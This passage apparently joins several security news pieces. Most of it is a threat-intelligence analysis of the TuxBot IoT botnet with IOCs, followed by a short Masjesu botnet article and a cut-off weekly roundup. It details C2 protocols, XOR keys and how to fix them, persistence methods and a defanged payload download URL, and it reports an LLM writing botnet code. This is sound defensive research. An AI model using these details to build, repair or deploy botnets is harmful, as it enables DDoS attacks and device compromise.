arena” configuration spins up a C2 server, five bot replicas and a target host running nginx and socat listeners on game server ports (Minecraft, TeamSpeak, FiveM, Xbox Live). This allowed the developer to test DDoS methods against real protocol listeners in a controlled environment. Additional configurations test P2P gossip recovery, full integration with all scanners active and production-like deployments with stealth and persistence enabled. An interesting design note is that the source code configures the SSH banner as SSH-2.0-CNC, but the live C2 server on Xpanse at 209.182.237[.]133 presents the banner as SSH-2.0-CNC-Control-Server. This discrepancy suggests that the production deployment uses a modified version of the source code we discovered, providing further evidence that the operator has a separate, potentially more complete build. The bot is a C program that compiles into a single statically linked binary. It links against glibc and libsodium for X25519, ChaCha20, Poly1305, SHA512 and Ed25519 algorithms. The original binary submitted to VirusTotal was an earlier debug build with symbols intact, compiled with GCC 11.4.0 instead of the production GCC 14.2.0. The bot programs infected devices to display the console banner Infected By Akiru, as shown in Figure 6. On execution, the bot follows a fixed initialization sequence. After seeding the pseudo-random number generator and initializing libsodium, it performs the following activities: Loading the C2 address Setting up anti-debugging protections Hiding its process name Installing persistence Launching a cascade of subsystems consisting of: - The attack dispatcher - A competitor killer feature - An exploit VM - Self-replication servers - Multiple C2 channels (IRC, HTTP, DNS, P2P) - Scanners (Telnet, SSH, HTTP, PHP-based application, ADB) - A SOCKS5 proxy - The mining placeholder The main process then enters a loop that receives encrypted commands from the C2 server and dispatches attacks. TuxBot stores sensitive strings (C2 addresses, scanner calls, exploit payloads) in an XOR-encrypted table that it decrypts at runtime. The table key is previously defined as 0xDEDEFB4F. The toggle_obf() function splits this 32-bit key into its four component bytes (0x4F, 0xFB, 0xDE, 0xDE) and XORs each byte of each table entry with all four in sequence. Because XOR is associative, these four operations collapse into a single effective key. The two 0xDE bytes cancel each other out (any byte XORed with itself yields zero), leaving 0x4F XOR 0xFB = 0xB4. The table contains 58 entries. Forty-nine of them decrypt correctly with key 0xB4 and include: The C2 port (1999) Scanner strings (shell, enable, system) The Infected By Akiru post-infection console banner Busybox probe strings Various process names used for stealth Nine entries produce garbage when decrypted with 0xB4. These entries were encrypted using a separate offline tool, which uses a key of 0xDEDEFBAF, yielding an effective byte of 0x54. The developer introduced this bug by changing the least significant byte of the key in the table from 0xAF to 0x4F. The offline encryption tool was never updated to match, and the nine entries that had already been processed with the old key were never re-encrypted. As a result, these entries are encrypted in the binary with key 0x54, while the runtime applies key 0xB4, producing corrupted output. Decrypting them with the correct key (0x54) reveals the intended values shown in Table 2. Table 2. String table decrypted values. All four exploit payloads hard code the dropper IP address 185.10.68[.]127 inside them, an IP address that is flagged as malicious on VirusTotal in early May 2026. The consequences of this bug are significant. The IRC C2 fall-back channel, the HTTP C2 polling channel and the four table-stored exploit payloads are all non-functional at runtime. The bot attempts to use them, but it silently fails due to the corrupted string values. For example, the IRC channel tries to inet_addr() on garbage bytes, gets INADDR_NONE and retries the connection every 10 seconds. We were able to fix this to call the add_entry_plaintext() function correctly, by taking the raw string and XORing it with the runtime key (0xB4) at initialization, guaranteeing the keys always match. With that fix applied, the IRC C2 channel connects, joins #tuxbot and accepts attack commands as noted in Figure 7. The bot ships with 1,496 username/password pairs for Telnet brute-forcing. The file header explicitly says // START IMPORTED FROM DDOS-ROOTSEC pass_file. Each entry is XORed with key 0xB4 (matching the runtime key, so these work correctly). The list of 1,495 login credentials includes standard and vendor-specific defaults. TuxBot implements a layered C2 architecture with one primary channel and five fall-back mechanisms. Only the primary channel and three of the five fall-back mechanisms were functional in the version we analyzed. Figure 8 shows the diagram. The bot connects to the C2 server on TCP port 1999 (or 31337, depending on build configuration). The handshake begins with the bot sending 4 bytes: 0xDEADBE01. It then generates and sends its 32-byte public key. The C2 server responds with its own 32-byte public key. Each encrypted packet has the following format: 4-byte magic (0xDEADBEEF) 12-byte nonce (from /dev/urandom) Ciphertext 16-byte Poly1305 tag The framework defines five additional C2 channels, summarized in Table 3. Table 3. C2 channels and their implementation status. The broken IRC implementation reveals the intent for a secondary channel of communication, as demonstrated below in Figure 9. When fixed, it forks a child process that connects to an IRC server, joins a channel (default #tuxbot) and listens for PRIVMSG commands prefixed with the ! character. It supports 12 attack methods (udp, syn, ack, vse, stomp, greip, greeth, udpplain, bypass, std, socket and dns) plus a kill command. Commands arrive as plaintext IRC messages and get parsed by the parse_irc_command() function. Then the commands are converted to the same binary packet format used by the primary encrypted channel before being passed to attack_parse(). Unlike the primary channel, the IRC channel has no encryption and no authentication. Anyone who knows the server and channel can command the bots. The dga_generate_domain() function constructs a seed string formatted as %04d-%02d-%02d-TuxBotv3-Evolution-Seed-2025-%d, where the date is the current UTC date and the final integer iterates from 0–19 per cycle. This produces 20 candidate domains per day. The SHA512 hash of this string is computed, and the first 12 bytes of the digest are mapped to lowercase letters (digest[i] % 26 into the a-z charset) to form the domain label. The top-level domain (TLD) is selected from a 6-entry table (.com, .net, .org, .info, .biz and .cc) using digest[12] % 6. Both the main C2 reconnection loop and the resilience module use this function to try DGA domains when the primary C2 address is unreachable. The source tree contains four categories of exploit. Only one of them works at runtime. This is a direct consequence of the bugs introduced during development. Sixteen exploit functions are implemented as native C code, covering 13 CVEs across different vendors and devices. Each function constructs an HTTP or SOAP request with a %s format string for the dropper IP address. The code is complete and would work if called. But exploit_engine_init() has zero callers anywhere in the codebase. No scanner or spread module references it. These 16 exploits are compiled into the binary and considered as dead code. The main Telnet scanner spawns a dedicated exploit worker thread that calls vm_run_random() in a loop against random IP addresses, making this the only exploit system the bot actually tries to use at runtime. The developer built a custom domain-specific language for writing exploits as text files, a Go compiler to compile them into a binary package and a C virtual machine to execute them. We also observed 27 .expl files, a custom file format created by the developer for this framework. Each file contains a single exploit, making exploit integration modular rather than hard-coded. These were written and compiled into a single 10,694-byte exploit package that would add coverage for 13 CVEs (including CVE-2022-1388, CVE-2022-22965, CVE-2020-8515 and CVE-2022-44877) plus two non-CVE targets. The package fails because the Go compiler writes the file magic value as 0x54555845 ("TUXE") while the C VM expects 0x4558504C ("EXPL"). The package is rejected on load, and the exploit worker thread runs but fires nothing. Beyond the magic mismatch, the compiler never emits an OP_CONNECT opcode, and the variable syntax differs between the compiler and VM. This means that even fixing the file magic value would not be enough to make the package execute correctly. This category consists of XOR table payloads, but these are broken due to an XOR key mismatch. Four exploit payloads are stored as XOR-encrypted entries in the string table. These target different vendors and were intended as an alternative delivery mechanism. They are all encrypted with the wrong XOR key (0x54 instead of 0xB4), resulting in garbled HTTP requests at runtime. This category consists of functional dedicated scanners for remote code execution (RCE) and ADB. In summary, the exploit categories are described in Table 4. Table 4. Exploit categories and counts (per implementation status). These four categories mean that this bot's actual exploit capability at runtime is limited to the last two categories: An RCE vulnerability scanner (whose dropper is dead) The ADB scanner The other three exploit categories that were supposed to provide broad IoT exploitation are non-functional, each for a different reason. A complete table of all CVEs and their status is provided in the Indicators of Compromise section. The attack dispatch system registers 78 attack vectors. These vectors map to only six actual handler functions, as shown in Table 5. Table 5. DDoS method handlers and their descriptions. The 47 vectors mapped to attack_tcp_syn_optimized include all application-layer methods for HTTP that the developer attempted to port from MHDDoS: GET floods POST floods Slowloris DDoS attacks Apache Range header attacks WordPress XMLRPC pingback attacks Cloudflare bypass attack variants These methods have source code implementations, but attack_init() routes all of their vector IDs to the TCP SYN handler. An operator who types !get target 60 expecting an HTTP GET flood instead gets a TCP SYN flood. The HTTP attack methods are compiled into the binary as dead code. Figure 11 shows the command for a controlled bot to launch an attack against a given IP address and port number. The source tree contains approximately 92 individual method implementations across three lineages: 30 from the traditional Mirai codebase 12 AISURU-suffixed variants with sendmmsg() batch optimization 8 Wuhan-suffixed variants bridged through adapter code These exist in the compiled binary but are never called because attack_init() redirects everything to the six optimized handlers shown in Figure 12 below. The source code reveals a modular architecture designed for high-efficiency network scanning, specifically using a dedicated HTTP scanning routine to discover vulnerable web interfaces. The HTTP scanner operates as an isolated child process that manages up to 128 concurrent connections in an infinite, non-blocking select() loop. For each idle slot (approximately 5% chance per tick), it targets a random public IP address on TCP port 80 or 8080, excluding loopback and non-routable IP address ranges. The scanner then attempts a non-blocking TCP connection to a random administrative endpoint (such as /admin or /cpanel). It does so using credential combinations (like admin:admin) from hard-coded lists via a Base64-encoded Authorization: Basic header in an HTTP GET request. If the response yields a successful HTTP/1.* with 200 OK status strings, the scanner prints a debug log and terminates the connection. Crucially, the source code indicates that this feature was not fully implemented, as the successful propagation logic is stubbed out and completely lacks the functionality to report successful infections back to the C2 server. If the attempt times out after 5 seconds or fails, it simply closes the connection and frees the slot for reuse. Figure 12 shows an example of the scanning traffic filtered in Wireshark. Persistence and Stealth The persistence and stealth subsystems follow patterns well established in the IoT botnet ecosystem, so we will not describe every technique in detail. TuxBot installs itself through seven persistence mechanisms: A systemd service disguised as sd-pam.service with Restart=always Two cron entries (@reboot and */5 * * * *) Shell profile injection into .bashrc, .profile and .zshrc files Hidden backup copies at three file system locations A guardian process with crash backoff Hardware watchdog keepalive Periodic binary relocation across 21 directories with dot-prefixed filenames - This process masquerades under one of 20 system daemon names (such as systemd-udevd, dbus-daemon, cron, sshd) selected at random The Anti-VM module implements a weighted scoring system with a threshold of 30, combining more than 10 detection methods, including: DMI file checks for VMware/VirtualBox/QEMU MAC address prefix matching for seven VM vendors Disk size and CPU count heuristics Timing-based detection Kernel module scanning Checks for running analysis tools (gdb, IDA, Ghidra, radare2, Wireshark, Volatility). A competitor killer feature Scans of /proc for memory signatures of Mirai, QBOT, Vamp, Anime and dvrHelper Killing matches and binding their ports to prevent re-infection The developer used an LLM to write a significant part of this framework. Multiple files contain raw LLM chain-of-thought reasoning left verbatim in comments. These comments are the LLM's internal reasoning as it worked through porting tasks. This reasoning is complete with self-interruptions, decisions and references to “the user” (meaning the developer who prompted the LLM). Here are a few examples: While trying to port an ADB exploit to the custom .expl format, the LLM writes: // If the user insists on "all exploits", I will add it but with a NOTE that checksums might fail. The LLM is questioning whether it remembers code it generated earlier in the same conversation: // I created them so I should know? Discovering that a Python exploit script it was porting is broken: // Wait, where is the command? These patterns recur throughout the exploit files: Self-interruptions (Wait) Self-corrections (Actually) Investigation prompts (Let's check) First-person task narration (I will) Structured decision labels (DECISION:) One comment reads // Correct action: I've already explored it. I will check other files. These comments are an LLM narrating its own workflow to itself. Human developers do not usually write comments like these. The same patterns appear in the C bot modules. Comments include: Actually, TFTP requires lock-step ACK, Let's assume if the system() call returns, we might want to exit and actually crypto_core allows generating them from a seed. Let's use a random seed. The most consequential LLM artifact is in the C2 authentication module. The file header claims to implement Argon2id password hashing. The section header reads PASSWORD HASHING - ARGON2ID. The function comment says HashPassword creates a cryptographically secure password hash using Argon2id. Related LLM comments include: // Since golang.org/x/crypto/argon2 isn't imported, we'll use our enhanced PBKDF2 // with very high iterations as a strong alternative hash := deriveKeyEnhanced(password, salt) Despite its use of PKBDF2 for password hashing, the LLM formats the output to look like Argon2id anyway: return fmt.Sprintf("$argon2id$v=19$m=%d,t=%d,p=%d$%s$%s", ...) The LLM hallucinated that it implemented Argon2id but actually fell back to SHA256 loops while keeping the Argon2id comments, constants and output format. Every .c file in the bot directory (approximately 60 files) carries an identical header: WARNING: This code is for educational and authorized security research only. Unauthorized use is strictly prohibited and may be illegal. The LLM complied with the request to generate botnet code but added a safety disclaimer. The developer shipped it without removing it. Table 6 summarizes the operational status of each major component of TuxBot v3 Evolution. Table 6. Operational status for each TuxBot framework component. During our research, we were able to fix these issues with a handful of LLM-assisted prompts. We reconstructed the correct table entries and fixed the IRC C2 channel with a few targeted prompts. Given that the operator already has the source code and has been actively deploying binaries (six new samples in April 2026), we can reasonably assume that a version with some or all of these fixes already exists in the wild. By searching through publicly available data, we found active infrastructure and connections to the broader IoT botnet ecosystem. The primary C2 server is hosted at 209.182.237[.]133, in Singapore. Connecting to TCP port 2222 on this server presents the banner SSH-2.0-CNC-Control-Server, first observed on Xpanse on March 5, 2026, and also visible through Shodan. The SSH key exchange includes a key exchange algorithm that fingerprints Go's crypto/ssh library rather than OpenSSH. The dropper server at 185.10.68[.]127 is hosted on FlokiNET, an Iceland-based provider known for bulletproof hosting. This IP address had 11/91 malicious detections on VirusTotal in May 2026, with at least 10 communicating malware samples and six associated downloads. This dropper server serves TuxBot payloads at /bins/bot. and, on different URL paths, also serves Kaitori v3.9 binaries. Passive DNS history for this IP address shows domains consistent with DDoS-for-hire operations going back to 2021, with the domains vrunabo[.]su, rezy1337.ted[.]ge and high.cpu.co[.]ua. These two servers are linked by the jetross[.]com Let's Encrypt TLS certificate that appears on both hosts, tying the C2 server in Singapore to the dropper in Iceland under the same operator. The dropper IP address is the pivot point that connects TuxBot to the wider Keksec/AISURU ecosystem. Kaitori v3.9 samples recovered from our internal telemetry in July 2025 (82 samples) downloaded their payloads from 185.10.68[.]127 on different URL paths. A separate sample, a Go binary, communicates with both 194.46.59[.]169 (a known AISURU IP address) and 185.10.68[.]127. TuxBot, Kaitori and AISURU tooling all converge on the same dropper server, but they are separate codebases. One additional artifact sits in the source code. The RCE scanning engine contains a hard-coded payload that downloads from hxxp[:]//188.166.2[.]226/OwO/Tsunami.x86 with the user-agent r00ts3c-owned-you. This string was copy-pasted from the r00ts3c Tsunami codebase, which was included in the MHDDoS repository that the developer cloned in January 2025. The IP address is a decommissioned DigitalOcean droplet now serving Ubiquiti's UISP platform. This payload is dead code. The developer domain digikalas[.]online resolves to 37.32.24[.]195 on Iran's Noyan Abr Arvan. Its TLS certificate covers api.digikalas[.]online and health.digikalas[.]online, suggesting it hosts a web application beyond the malware development context. The developer subdomain was leaked in the git historical log data. Our discovery of TuxBot v3 Evolution reveals a development snapshot of an IoT botnet framework. The framework has working core capabilities and several broken features that trace to a small number of reproducible bugs. Binaries compiled from this framework have been appearing in the wild since January 2026. The C2 infrastructure has been active since at least March 2026. The developer relied heavily on LLM-generated code throughout the project. That approach accelerated integration and allowed what could be a single developer to produce a multi-architecture botnet with: Encrypted C2 A DGA P2P gossip A custom exploit VM A Go-based DDoS-for-hire panel The LLM also introduced bugs that went unnoticed because the generated code reads well on the surface. The XOR key mismatch, the VM magic incompatibility, the exploit engine that never gets called and the hallucinated Argon2id implementation are the kind of errors that a manual code review would have caught immediately. The developer trusted the output and moved on. Shared infrastructure with Kaitori v3.9 and AISURU tooling places the TuxBot operator within the Keksec ecosystem. This group is known for running multiple IoT botnet variants in parallel. TuxBot appears to be another variant in that portfolio. It’s one that aims to go beyond the usual Mirai fork with its encrypted C2, its DGA and a modular exploit system, even though that system does not work yet in the version we recovered. The broken features can be fixed. We demonstrated this during our analysis by reconstructing the IRC C2 channel and decrypting the mismatched table entries with a few targeted LLM prompts. A fully working version of this framework is not a theoretical concern, but a likely threat. Palo Alto Networks customers are better protected from the threats discussed above through the following products: The Advanced WildFire machine-learning models and analysis techniques have been reviewed and updated in light of the indicators shared in this research. Advanced URL Filtering and Advanced DNS Security identify known domains and URLs associated with this activity as malicious. Advanced Threat Prevention is designed to defend networks against both commodity threats and targeted threats. If you think you may have been compromised or have an urgent matter, get in touch with the Unit 42 Incident Response team or call: North America: Toll Free: +1 (866) 486-4842 (866.4.UNIT42) UK: +44.20.3743.3660 Europe and Middle East: +31.20.299.3130 Asia: +65.6983.8730 Japan: +81.50.1790.0200 Australia: +61.2.4062.7950 India: 000 800 050 45107 South Korea: +82.080.467.8774 Palo Alto Networks has shared these findings with our fellow Cyber Threat Alliance (CTA) members. CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors. Learn more about the Cyber Threat Alliance. TuxBot Framework (Compiled Malicious Binaries): SHA256 hash: 6b7a8e0c96c2318e747f074f9a99d26738700769ac01bba692d19fc884847737 File size: 1,456,432 bytes Filename: tuxbot.alpha File type: ELF 64-bit LSB executable, Alpha (unofficial), version 1 (SYSV), statically linked, BuildID[sha1]=cd540bb31909440fd2bf773e6f1480f5b6f12400, for GNU/Linux 3.2.0, not stripped SHA256 hash: 146f6010f6ee082aab13e0148d39baefa77eaba4ff65817b511b08c2092bdfd2 File size: 1,234,964 bytes Filename: tuxbot.arm File type: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), statically linked, BuildID[sha1]=877b804892ab218a53420b6dfbd0a2837368d0b5, for GNU/Linux 3.2.0, not stripped SHA256 hash: bd6431fb06e4689142ef597cf00382e38ae20a5393a4d9277e45a3f5b3cbcff9 File size: 1,329,000 bytes Filename: tuxbot.arm64 File type: ELF 64-bit LSB executable, ARM aarch64, version 1 (GNU/Linux), statically linked, BuildID[sha1]=b21cdc5e1b96c640a1d553ed518c49729e367823, for GNU/Linux 3.7.0, not stripped SHA256 hash: a03b0d41f5ef03328150331ffa0ed970998883f7e0343d79b2d3b95330d8e7c1 File size: 972,032 bytes Filename: tuxbot.arm7 File type: ELF 32-bit LSB executable, ARM, EABI5 version 1 (GNU/Linux), statically linked, BuildID[sha1]=a70cea846442c18ad265f311b5ced29a4071771d, for GNU/Linux 3.2.0, not stripped SHA256 hash: eb2fa179fde2f097c18d5d700ad87d660fc238ee14cbe5477032e60856859621 File size: 1,352,256 bytes Filename: tuxbot.hppa File type: ELF 32-bit MSB executable, PA-RISC, 1.1 version 1 (GNU/Linux), statically linked, BuildID[sha1]=69dc276dde8efcb409411508da55d4cbe28d5600, for GNU/Linux 3.2.0, not stripped SHA256 hash: a8d70d16509e227d8306be361bc37a3dc9fe34bf476f51e361e55e6d293c2b3f File size: 1,160,756 bytes Filename: tuxbot.m68k File type: ELF 32-bit MSB executable, Motorola m68k, 68020, version 1 (SYSV), statically linked, BuildID[sha1]=adf267caab78a74c4b4dfabe7b578b0a4d639782, for GNU/Linux 3.2.0, not stripped SHA256 hash: 0f8bcca3ed65e980da2a1f90a767b7d543be32eeea3e9338d09d4d635a497988 File size: 1,431,220 bytes Filename: tuxbot.mips File type: ELF 32-bit MSB executable, MIPS, MIPS32 rel2 version 1 (SYSV), statically linked, BuildID[sha1]=a8fd13f6b1bdfa87c0f466df69b7e81325b5dd15, for GNU/Linux 3.2.0, not stripped SHA256 hash: 96b1f96efca3b9df2dea85678d60da27e3265b4a00e39e20e64b27bb985e1561 File size: 1,468,624 bytes Filename: tuxbot.mips64 File type: ELF 64-bit MSB executable, MIPS, MIPS64 rel2 version 1 (SYSV), statically linked, BuildID[sha1]=befb0e4d1cd7d2b4139b55f811993af2c8839e75, for GNU/Linux 3.2.0, not stripped SHA256 hash: c7a36d6b8128c41f93a32413675401a10a2b5769b221bbaa8c5c309585b73ceb File size: 1,403,096 bytes Filename: tuxbot.mips64el File type: ELF 64-bit LSB executable, MIPS, MIPS64 rel2 version 1 (SYSV), statically linked, BuildID[sha1]=e0f8dd23e4fb0086feb42ea0a5dcef70d7b4d17c, for GNU/Linux 3.2.0, not stripped SHA256 hash: 246c97957651de568e61eba1abe572f0b0f960456209995d43d53a0d7cc494a1 File size: 1,431,268 bytes Filename: tuxbot.mipsel File type: ELF 32-bit LSB executable, MIPS, MIPS32 rel2 version 1 (SYSV), statically linked, BuildID[sha1]=7ad840b1945cc346012987727ebcc062431965a4, for GNU/Linux 3.2.0, not stripped SHA256 hash: 3ec016d637e4c9cd331edd2580a229621ad638e924a4aa29ac0342e9144ace19 File size: 1,492,228 bytes Filename: tuxbot.ppc File type: ELF 32-bit MSB executable, PowerPC or cisco 4500, version 1 (SYSV), statically linked, BuildID[sha1]=4e1483737f769e1cee80fa4d7a056a5d8e3b537e, for GNU/Linux 3.2.0, not stripped SHA256 hash: 2f2c3551762c03da126e45dca6fc2f997c63f0f1bfc21fd0ceed680ac6f083ce File size: 1,721,904 bytes Filename: tuxbot.ppc64le File type: ELF 64-bit LSB executable, 64-bit PowerPC or cisco 7500, version 1 (GNU/Linux), statically linked, BuildID[sha1]=4cba585d9f208bd712b28f867f908e503ccc9cfe, for GNU/Linux 3.10.0, not stripped SHA256 hash: 9cd5e7e3c8bad321ef6c3d47fe25b3b56e9487f703a7eeee52db4067e6bafe61 File size: 1,185,264 bytes Filename: tuxbot.riscv64 File type: ELF 64-bit LSB executable, UCB RISC-V, version 1 (GNU/Linux), statically linked, BuildID[sha1]=64af594c7f91793813e3d769e63816b143102396, for GNU/Linux 4.15.0, not stripped SHA256 hash: e3a5296e762e9ee16010399666441d663beeea956382e97cca032a6a5ad06811 File size: 1,542,064 bytes Filename: tuxbot.s390x File type: ELF 64-bit MSB executable, IBM S/390, version 1 (GNU/Linux), statically linked, BuildID[sha1]=2774a5f5991657eb9b0062cd3da0391c9bad2643, for GNU/Linux 3.2.0, not stripped SHA256 hash: f1efb78887bb8783d7781c07cd13b53c9c79ebe5baa81f335838d0a6e73dec7e File size: 1,096,720 bytes Filename: tuxbot.sh4 File type: ELF 32-bit LSB executable, Renesas SH, version 1 (SYSV), statically linked, BuildID[sha1]=304e14a138b92135aad27bb37f4e9db440401ec2, for GNU/Linux 3.2.0, not stripped SHA256 hash: f324a45fcd2a9db4e542c09486c21b08bc42d6bf76fbd5f17871090361b10815 File size: 2,240,240 bytes Filename: tuxbot.sparc64 File type: ELF 64-bit MSB executable, SPARC V9, Sun UltraSPARC1 Extensions Required, relaxed memory ordering, version 1 (GNU/Linux), statically linked, BuildID[sha1]=74fba0bad93bbb0e1eedb196b6efe6af1c0bf23d, for GNU/Linux 3.2.0, not stripped SHA256 hash: 15c17dce89deccd5172285b2650de957918aa1157cde8e4633ae15dfe31f2711 File size: 1,491,208 bytes Filename: tuxbot.x86_64 File type: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, BuildID[sha1]=81670f250f4b3492fd3e00920f9fe7395ecbf85c, for GNU/Linux 3.2.0, stripped Confirmed TuxBot (External samples): SHA256 hash: 71dfbb171eca4ef9d02ff630b56e5283bbef7b375d4dbe9e8c9531bef312fa8d File size: 2,274,688 bytes Filename: .bot_x86_64 File type: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, BuildID[sha1]=b1cc41e2b9ddb11d0c9d03d319531fea9459cdae, for GNU/Linux 3.2.0, with debug_info, not stripped Confirmed TuxBot (Internal samples): SHA256 hash: 511d3ffb4091cbcc94571d9fb3102e8cb424c6e187d01d53ff12078d54929bda File size: 163,121 bytes File type: ELF 32-bit LSB executable, ARM, version 1 (ARM), statically linked, with debug_info, not stripped SHA256 hash: 6aa4034dc7a2858094ff4dc59af07d6fe31119591e41599bcc0f3d0b516ee734 File size: 163,120 bytes File type: ELF 32-bit LSB executable, ARM, version 1 (ARM), statically linked, with debug_info, not stripped TuxBot C2 Servers: 185.10.68[.]127 - Dropper (HTTP, /bins/bot. ) 209.182.237[.]133:1999/31337 - Bot protocol (encrypted TCP) 209.182.237[.]133:2222 - C2 SSH admin panel 209.182.237[.]133:9999 - Machine API (TCP JSON) Keksec/Kaitori (not TuxBot directly): 45.145.185[.]229 - Keksec dropper (/bins/keksec.mips) 107.174.133[.]119 - Keksec dropper (Huawei exploit payload) 194.46.59[.]169 - AISURU infrastructure (yamux Go tool) Historical IP addresses: 188.166.2[.]226 - Tsunami dropper (dead code in RCE exploit). Now serves Ubiquiti UISP. Blocking will affect legitimate services. 154.6.197[.]43 - Present in the bot source code as scan/server domain. Successful Telnet logins are reported to this IP address. Flagged as a scanner by GreyNoise. Domains: c2.tuxbot.local - DNS fall-back C2 domain (hard coded in binary) cfcybernews[.]eu - Test domain leaked by CF bypass module captcha.kanfetka[.]site - Test domain leaked by CAPTCHA bypass module digikalas[.]online - Developer domain jetross[.]com - TLS certificate linking the C2 server to the dropper Host Indicators: Infected By Akiru - Console output after bot execution /bin/busybox Akiru - Busybox probe during Telnet scanning Akiru: applet not found - Expected response to busybox probe sd-pam.service - Systemd persistence service name /tmp/.%08x.lock - Lock file format for single-instance enforcement Network Indicators: 0xDEADBE01 + 32 bytes - C2 handshake initiation (X25519 public key) 0xDEADBEEF + 12-byte nonce + ciphertext + 16-byte MAC - Encrypted C2 packet format User-Agent: TuxBot - HTTP requests from bot User-Agent: r00ts3c-owned-you - RCE (dead code, inherited from MHDDoS) SSH banner: SSH-2.0-CNC-Control-Server - C2 SSH service (Shodan fingerprint) Exploited CVEs Implemented but never called at runtime: Completely Broken (exploit VM magic mismatch, never executes): QiAnXin XLab – AISURU Botnet Reports Cloudflare Radar – DDoS Threat Reports
unit42.paloaltonetworks.comJul 15, 2026extracted
Evasive Masjesu DDoS Botnet Targets IoT Devices
Trellix has dived into the inner workings of Masjesu, a botnet built for distributed denial-of-service (DDoS) attacks that has infected a variety of IoT devices. Masjesu has been active since at least 2023, with its operator mainly advertising it on Telegram as capable of launching DDoS attacks of hundreds of gigabytes in magnitude. The operator’s posts target both Chinese and English-speaking users, “suggesting that their services continue to target both Chinese and US customers,” Trellix says. Currently, the operator’s Telegram channel has over 400 subscribers, but the botnet’s userbase appears larger, as an initial channel promoting the botnet was closed by the platform for policy violations. Most of the devices ensnared by Masjesu are in Vietnam, an analysis of attack source countries shows. However, the botnet has also infected numerous devices in Brazil, India, Iran, Kenya, and Ukraine. “The data strongly suggests a distributed attack originating from multiple ASNs. This indicates the involvement of various networks, rather than the botnet being exclusively hosted on a single Virtual Private Server (VPS) provider,” Trellix notes. Recently analyzed Masjesu samples show it can target multiple architectures, including i386, MIPS, ARM, SPARC, PPC, 68K (Motorola 68000), and AMD64. The botnet spreads through vulnerabilities in D-Link routers, GPON routers, Huawei home gateways, MVPower DVRs, Netgear routers, UPnP services, and other IoT devices. On the infected devices, the malware binds a socket with a hardcoded TCP port to provide operators with remote access and hardens itself for persistence. The malware stores sensitive strings – including command-and-control (C&C) domains, ports, folder names, and process names – encrypted in a lookup table and decrypts them at runtime. To achieve persistence, Masjesu starts by forking a new process and renaming its original executable path to mimic the path and function of a legitimate Linux dynamic linker. It then creates a cron job to run the renamed executable every 15 minutes, converts the process into a background daemon, and renames it to appear as a legitimate system component. The malware also terminates commonly used processes, such as wget and curl, and locks down shared temporary folders, likely to prevent infections from other botnets. To spread, it scans random IP addresses on the internet to find vulnerable devices it can infect. Masjesu uses multiple C&C domains and fallback IPs, configures a 60-second receive timeout on the socket connection to the C&C, and decrypts received data client-side. Based on the data received from the server, the botnet can launch various types of DDoS attacks, including UDP, TCP, VSE, GRE, RDP, OSPF, ICMP, IGMP, TCP_SYN, TCP-ACK, TCP-ACKPSH, and HTTP floods. Related: Aisuru and Kimwolf DDoS Botnets Disrupted in International Operation Related: 174 Vulnerabilities Targeted by RondoDox Botnet Related: Authorities Disrupt SocksEscort Proxy Service Powered by AVrecon Botnet Related: Aeternum Botnet Loader Employs Polygon Blockchain C&C to Boost Resilience
securityweek.comApr 8, 2026extracted
Week in review: Weaponized OAuth redirection logic delivers malware, Patch Tuesday forecast
Week in review: Weaponized OAuth redirection logic delivers malware, Patch Tuesday forecast Here’s an overview of some of last week’s most interesting news, articles, interviews and videos: BlacksmithAI: Open-source AI-powered penetration testing framework BlacksmithAI is an open-source penetration testing framework that uses multiple AI agents to execute different stages of a security assessment lifecycle. BlacksmithAI runs as a hierarchical system in which an orchestrator coordinates task execution across specialized agents. Security debt is becoming a governance issue for CISOs Application security backlogs keep expanding across large development portfolios. Veracode’s 2026 State of Software Security Report puts numbers behind a familiar operational pattern, fixes lag discovery, and older weaknesses stay open across release cycles. Your dependencies are 278 days out of date and your pipelines aren’t protected Applications continue to ship with known weaknesses even as development workflows speed up. A new Datadog State of DevSecOps 2026 report examines how dependency management and pipeline practices are influencing exposure across cloud native environments. AI went from assistant to autonomous actor and security never caught up Enterprise AI deployments have shifted from pilot programs to production systems handling customer data, executing business transactions, and integrating with core infrastructure. That has exposed a significant gap between what AI agents can do and what security teams can observe or control. Cybersecurity is now the price of admission for industrial AI Industrial organizations are accelerating AI deployment across manufacturing, utilities, and transportation and running straight into a security problem. Cisco’s 2026 State of Industrial AI Report, based on responses from more than 1,000 decision-makers across 19 countries, finds that cybersecurity has become the single largest obstacle to AI adoption, outranking skills gaps, integration challenges, and budget constraints. Cybersecurity professionals are burning out on extra hours every week Cybersecurity professionals in the U.S. are working an average of 10.8 extra hours per week beyond their contracted schedules, according to survey data collected from 300 cybersecurity and IT leaders by Sapio Research. That figure effectively adds a sixth working day to the standard week for a large portion of the field. Nearly half of respondents reported working 11 or more overtime hours weekly, and one in five logged more than 16 additional hours. The vulnerability that turns your AI agent against you Zenity Labs disclosed PleaseFix, a family of critical vulnerabilities affecting agentic browsers, including Perplexity Comet, that allow attackers to hijack AI agents, access local files, and steal credentials within authenticated user sessions. The vulnerabilities can be triggered through malicious content embedded in routine workflows, enabling unauthorized actions without user awareness. Threat actors weaponize OAuth redirection logic to deliver malware An ongoing phishing campaign is abusing the OAuth authentication redirection mechanism to avoid triggering conventional email and browser defenses, Microsoft researchers have revealed. The attackers are targeting government and public-sector organizations, and redirecting unsuspecting users from trusted login pages to their own infrastructure, to serve malware or capture login credentials. Coruna: Spy-grade iOS exploit kit powering financial crime A powerful iOS exploit kit has circulated among multiple threat actors over the past year, moving from a commercial surveillance operation to state-linked espionage campaigns and, ultimately, ended into the hands of financially motivated hackers, according to new research from Google’s Threat Intelligence Group (GTIG). Over 1,200 IceWarp servers still vulnerable to unauthenticated RCE flaw (CVE-2025-14500) A critical RCE vulnerability (CVE-2025-14500) in IceWarp, an EU-made business communication and collaboration platform, may be exploited by attackers to gain unauthorized access to exposed unpatched servers. According to the Shadowserver Foundation, there are currently over 1,200 internet-facing instances that have yet to receive a fix, and the organization is sending out alerts to the owners, urging them to update. As AI agents start making purchases, security teams must rethink risk In this Help Net Security interview, Donald Kossmann, CTO at fintech company Chargebacks911, talks about the emerging security, fraud, and governance risks of “agentic commerce,” where AI agents can autonomously make purchasing decisions on behalf of users or organizations. FreeScout vulnerability enables unauthenticated, zero-click RCE via email (CVE-2026-28289) A newly discovered vulnerability (CVE-2026-28289) in the open-source help desk platform FreeScout could allow attackers to take over vulnerable servers by sending a specially crafted email to a FreeScout mailbox. FreeScout is a 